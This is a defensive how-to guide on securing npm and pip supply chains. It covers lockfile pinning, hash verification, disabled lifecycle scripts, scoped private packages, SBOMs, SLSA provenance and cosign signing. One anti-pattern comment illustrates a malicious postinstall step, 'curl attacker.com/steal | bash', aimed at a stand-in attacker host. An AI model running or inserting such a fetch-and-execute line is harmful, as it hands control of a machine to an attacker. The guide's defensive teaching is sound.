Software Supply Chain Security: npm, pip, and Beyond
How do I secure the software supply chain (npm, pip)?
TL;DR
- Bottom line: Secure your supply chain with lockfile pinning + hash verification, disable lifecycle scripts by default, scope private packages, generate SBOMs, and adopt SLSA provenance -- no single measure is sufficient alone.
- Key tool/command:
npm ci --ignore-scriptsfor deterministic, script-safe installs;pip install --require-hashes -r requirements.txtfor hash-verified Python installs. - Watch out for: Dependency confusion attacks -- if your private packages are not scoped (@org/pkg) or reserved in public registries, attackers can publish higher-version packages with the same name to hijack installs.
- Works with: npm 7+, pip 8+, Go 1.13+ (modules), Sigstore/cosign 2.x, SLSA v1.0, CycloneDX 1.5+, SPDX 2.3+.
Constraints
- NEVER install packages without verifying integrity -- use lockfiles with hashes (package-lock.json, requirements.txt --require-hashes)
- NEVER run
npm installin CI -- usenpm ciwhich enforces lockfile integrity - NEVER trust package lifecycle scripts by default -- disable with
--ignore-scriptsand allowlist explicitly - Private package names MUST be scoped (@org/pkg) or reserved in public registries to prevent dependency confusion
- SBOM generation is required by US Executive Order 14028 for federal software suppliers
Quick Reference
Supply Chain Threat/Mitigation Matrix
| # | Threat | Risk Level | Attack Vector | Mitigation |
|---|---|---|---|---|
| 1 | Typosquatting | High | Attacker publishes lod-ash mimicking lodash | Verify exact package name; use npm audit signatures; check OpenSSF Scorecard |
| 2 | Dependency confusion | Critical | Public package with same name as internal pkg, higher version | Scope private packages (@org/pkg); configure registry per-scope in .npmrc |
| 3 | Compromised maintainer | Critical | Attacker gains access to maintainer npm/PyPI account | Enable 2FA on registry accounts; use Trusted Publishers (PyPI); review provenance |
| 4 | Malicious lifecycle scripts | High | postinstall script exfiltrates env vars or installs backdoor | --ignore-scripts globally; allowlist in .npmrc |
| 5 | Lockfile manipulation | High | PR changes lockfile to point to malicious registry/tarball | Use lockfile-lint; review lockfile diffs; npm ci validates integrity |
| 6 | Compromised build pipeline | Critical | CI/CD credentials stolen, build artifacts replaced | SLSA L3 provenance; isolated build environments; signed artifacts |
| 7 | Abandoned packages | Medium | Known CVEs never patched in transitive dependency | OpenSSF Scorecard checks; npm audit; Dependabot/Renovate alerts |
| 8 | SBOM gaps | Medium | Unable to respond to new CVE across your dependency tree | Generate CycloneDX/SPDX SBOM in CI; store and update with each release |
| 9 | Protestware/self-sabotage | Medium | Maintainer intentionally breaks own package (colors.js, node-ipc) | Pin exact versions; review changelogs; use cooldown windows |
| 10 | Registry/CDN compromise | Low | npm registry or CDN serves tampered packages | Verify package signatures; npm audit signatures; compare hashes |
Decision Tree
START: What is your primary supply chain concern?
├── Preventing malicious package installs?
│ ├── Using npm?
│ │ ├── YES → Pin versions + npm ci + --ignore-scripts + lockfile-lint
│ │ └── NO ↓
│ ├── Using pip/poetry?
│ │ ├── YES → pip-compile --generate-hashes + --require-hashes
│ │ └── NO ↓
│ └── Go/Cargo/other → Use native lockfile + checksum verification
│
├── Need artifact signing and verification?
│ ├── Container images?
│ │ ├── YES → Sigstore cosign sign + verify
│ │ └── NO ↓
│ └── npm packages → npm provenance (SLSA + Sigstore)
│
├── Need compliance (SLSA/NIST)?
│ ├── SLSA Level 1 → Generate provenance metadata
│ ├── SLSA Level 2 → Signed provenance from hosted CI
│ └── SLSA Level 3 → Isolated build + non-forgeable provenance
│
├── Need dependency inventory?
│ └── YES → Generate CycloneDX or SPDX SBOM in CI
│
└── DEFAULT → Start with lockfile pinning + npm audit + OpenSSF Scorecard
Step-by-Step Guide
1. Configure deterministic installs with lockfile enforcement
Use npm ci in CI/CD instead of npm install. It deletes node_modules/ and installs exactly what the lockfile specifies, failing on mismatch. [src4]
# .npmrc -- project-level configuration
ignore-scripts=true
engine-strict=true
package-lock=true
audit-level=moderate
# CI install command (never npm install)
npm ci --ignore-scripts
Verify: npm ci should exit 0 with no lockfile mismatch warnings. Run npm ls --all to confirm dependency tree matches lockfile.
2. Prevent dependency confusion with scoped packages
Configure npm to resolve private scopes from your internal registry, preventing public registry substitution. [src4]
# .npmrc -- scope-to-registry mapping
@mycompany:registry=https://npm.mycompany.com/
//npm.mycompany.com/:_authToken=${NPM_PRIVATE_TOKEN}
package-lock=true
Verify: npm config get @mycompany:registry should return your private registry URL.
3. Pin Python dependencies with hash verification
Use pip-compile (from pip-tools) to generate a requirements file with SHA256 hashes. [src5]
# Generate requirements.txt with hashes
pip-compile --generate-hashes --output-file=requirements.txt requirements.in
# Install with hash verification
pip install --require-hashes --no-deps -r requirements.txt
Verify: Modify any hash in requirements.txt -- pip install --require-hashes should fail with hash mismatch error.
4. Enable npm provenance with SLSA attestations
npm provenance uses Sigstore to cryptographically link published packages to their source repo and build. [src1]
# .github/workflows/publish.yml
name: Publish
on:
release:
types: [published]
permissions:
contents: read
id-token: write
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
registry-url: https://registry.npmjs.org
- run: npm ci
- run: npm publish --provenance --access public
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
Verify: npm audit signatures on the published package should show "verified registry signatures".
5. Sign and verify container images with cosign
Cosign provides keyless signing using OIDC identity from CI providers. No key management required. [src2]
# Sign a container image (keyless)
cosign sign ghcr.io/myorg/myapp:v1.2.3
# Verify a signed image
cosign verify \
--certificate-identity=https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3 \
--certificate-oidc-issuer=https://token.actions.githubusercontent.com \
ghcr.io/myorg/myapp:v1.2.3
Verify: cosign verify should print verification confirmation with no errors.
6. Generate SBOM with CycloneDX
Generate a Software Bill of Materials in CycloneDX format as part of your CI pipeline. [src8]
# npm: generate CycloneDX SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# Python: generate CycloneDX SBOM
pip install cyclonedx-bom
cyclonedx-py environment --output sbom.json
Verify: sbom.json should contain a components array listing all dependencies with version, purl, and hash information.
7. Evaluate dependencies with OpenSSF Scorecard
Run Scorecard against dependencies to assess their security posture before adoption. [src6]
# Score a specific repository
scorecard --repo=github.com/expressjs/express
Verify: Output should show scores (0-10) for checks like Branch-Protection, Signed-Releases, Token-Permissions, and Vulnerabilities.
Code Examples
npm: Complete .npmrc Security Configuration
# .npmrc -- project root (commit to repo)
package-lock=true
ignore-scripts=true
save-exact=true
audit-level=moderate
@mycompany:registry=https://npm.mycompany.com/
engine-strict=true
Python: Secure pip Configuration with Hash Pinning
# pip.conf
[global]
require-hashes = true
no-deps = true
[install]
index-url = https://pypi.org/simple/
extra-index-url =
trusted-host =
GitHub Actions: SLSA Provenance Generator
# .github/workflows/slsa-provenance.yml
name: SLSA Go Releaser
on:
release:
types: [published]
permissions: read-all
jobs:
build:
permissions:
id-token: write
contents: write
actions: read
uses: slsa-framework/slsa-github-generator/.github/workflows/[email protected]
with:
go-version: "1.22"
Kyverno: Enforce Cosign-Signed Images in Kubernetes
# Kyverno policy to enforce signed images
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signatures
spec:
validationFailureAction: Enforce
rules:
- name: verify-cosign-signature
match:
any:
- resources:
kinds: ["Pod"]
verifyImages:
- imageReferences: ["ghcr.io/myorg/*"]
attestors:
- entries:
- keyless:
subject: "https://github.com/myorg/*"
issuer: "https://token.actions.githubusercontent.com"
Anti-Patterns
Wrong: Using floating version ranges in production
// BAD -- ^ and ~ allow automatic minor/patch upgrades
// A compromised patch release gets installed automatically
{
"dependencies": {
"express": "^4.18.0",
"lodash": "~4.17.0",
"axios": "*"
}
}
Correct: Pin exact versions with lockfile enforcement
// GOOD -- exact versions + npm ci enforces lockfile
{
"dependencies": {
"express": "4.18.2",
"lodash": "4.17.21",
"axios": "1.6.7"
}
}
Wrong: Internal packages without scoping
// BAD -- unscoped private package name can be hijacked
// Attacker publishes "[email protected]" to public npm
{
"name": "my-internal-utils",
"version": "1.0.0"
}
Correct: Scoped packages with registry mapping
// GOOD -- scoped package with .npmrc registry mapping
{
"name": "@mycompany/internal-utils",
"version": "1.0.0",
"private": true
}
Wrong: pip install without hash verification
# BAD -- no integrity verification
pip install requests flask sqlalchemy
Correct: Hash-pinned requirements with --require-hashes
# GOOD -- every package verified against pre-computed hash
pip install --require-hashes --no-deps -r requirements.txt
Wrong: Allowing all lifecycle scripts
# BAD -- postinstall scripts can execute arbitrary code
npm install some-package
# The package's postinstall script runs: curl attacker.com/steal | bash
Correct: Disabling scripts globally with explicit allowlist
# .npmrc -- disable scripts by default
ignore-scripts=true
Common Pitfalls
- Lockfile not committed to git: Without a committed lockfile, every
npm installcan resolve different versions. Fix: Always commitpackage-lock.jsonorpoetry.lock. [src4] - npm install in CI instead of npm ci:
npm installcan silently update the lockfile. Fix: Usenpm ciin all CI/CD pipelines. [src4] - Trusting provenance without verifying: npm provenance exists but is not checked by default. Fix: Run
npm audit signaturesafter install. [src1] - Ignoring transitive dependencies: Direct dependencies may be safe, but their dependencies can be compromised. Fix: Use
npm ls --allor SBOM tools to audit the full tree. [src3] - PyPI Trusted Publishers not configured: Using long-lived API tokens for publishing is less secure. Fix: Configure OIDC-based Trusted Publishers in PyPI project settings. [src5]
- No cooldown window before upgrading: Adopting new versions immediately exposes you to recently published malware. Fix: Wait 48-72 hours; use Dependabot/Renovate with delayed merge. [src7]
- SBOM generated once, never updated: Outdated SBOM cannot identify newly disclosed CVEs. Fix: Regenerate SBOM in every CI build; store alongside release artifacts. [src8]
- Scorecard checks ignored for new dependencies: Adding dependencies without checking posture introduces unvetted risk. Fix: Run
scorecard --repo=<dep-repo>before adding. [src6]
Diagnostic Commands
# Audit npm packages for known vulnerabilities
npm audit
# Verify npm registry signatures (provenance)
npm audit signatures
# List full dependency tree
npm ls --all
# Validate lockfile integrity and registry sources
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-https
# Check OpenSSF Scorecard for a dependency
scorecard --repo=github.com/expressjs/express --format=json
# Generate CycloneDX SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# Python: audit packages for vulnerabilities
pip-audit
# Verify container image signature with cosign
cosign verify --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
ghcr.io/myorg/myapp:latest
# Scan SBOM for vulnerabilities with grype
grype sbom:./sbom.json
Version History & Compatibility
| Standard/Tool | Version | Status | Key Feature |
|---|---|---|---|
| SLSA | v1.0 | Current (2023) | Build Track L0-L3, provenance specification |
| SLSA | v1.1 | Draft (2024) | Source Track (under development) |
| npm provenance | GA | Current (npm 9.5+) | Sigstore-based package provenance on publish |
| Sigstore/cosign | 2.x | Current | Keyless signing, Rekor transparency log |
| CycloneDX | 1.6 | Current (2024) | CBOM, MBOM, attestation support |
| SPDX | 2.3 / 3.0 | 2.3 stable, 3.0 draft | License compliance + security use cases |
| OpenSSF Scorecard | 5.x | Current | 18 automated security checks |
| PyPI Trusted Publishers | GA | Current (2023) | OIDC keyless publishing from CI |
| pip --require-hashes | GA | Current (pip 8+) | SHA256 hash verification on install |
| npm audit signatures | GA | Current (npm 9.5+) | Registry signature verification |
When to Use / When Not to Use
| Use When | Don't Use When | Use Instead |
|---|---|---|
| Building any production application with external dependencies | Internal-only code with zero third-party dependencies | Basic code review suffices |
| Publishing packages to npm, PyPI, or container registries | Prototyping with no deployment pipeline | Minimal lockfile pinning may suffice |
| Required by compliance (NIST, EO 14028, SOC 2) | Personal learning projects with no sensitive data | Focus on learning the tools first |
| Operating CI/CD pipelines that produce deployable artifacts | Manual builds on a single trusted developer machine | Manual verification may be acceptable |
| Maintaining open source projects consumed by others | Private fork with no downstream consumers | Internal-only security measures |
Important Caveats
- SLSA provenance only proves WHERE software was built, not that the source code itself is safe -- combine with code review and vulnerability scanning
- Sigstore keyless signing relies on OIDC providers (GitHub, Google, Microsoft); if the OIDC provider is compromised, signatures can be forged
- npm
--ignore-scriptsbreaks packages that require native compilation (node-gyp, sharp, bcrypt); maintain an explicit allowlist for these packages - Hash-pinned requirements in Python do not prevent install-time code execution from
setup.py; use--no-build-isolationcautiously - OpenSSF Scorecard scores are heuristic, not guarantees -- a perfect 10 does not mean a package is free of vulnerabilities
- SBOM accuracy depends on the tool used; different generators may produce different component lists for the same project
- The npm "Shai Hulud" worm attack (September 2025) demonstrated that even with these defenses, zero-day supply chain attacks can propagate rapidly -- defense in depth is essential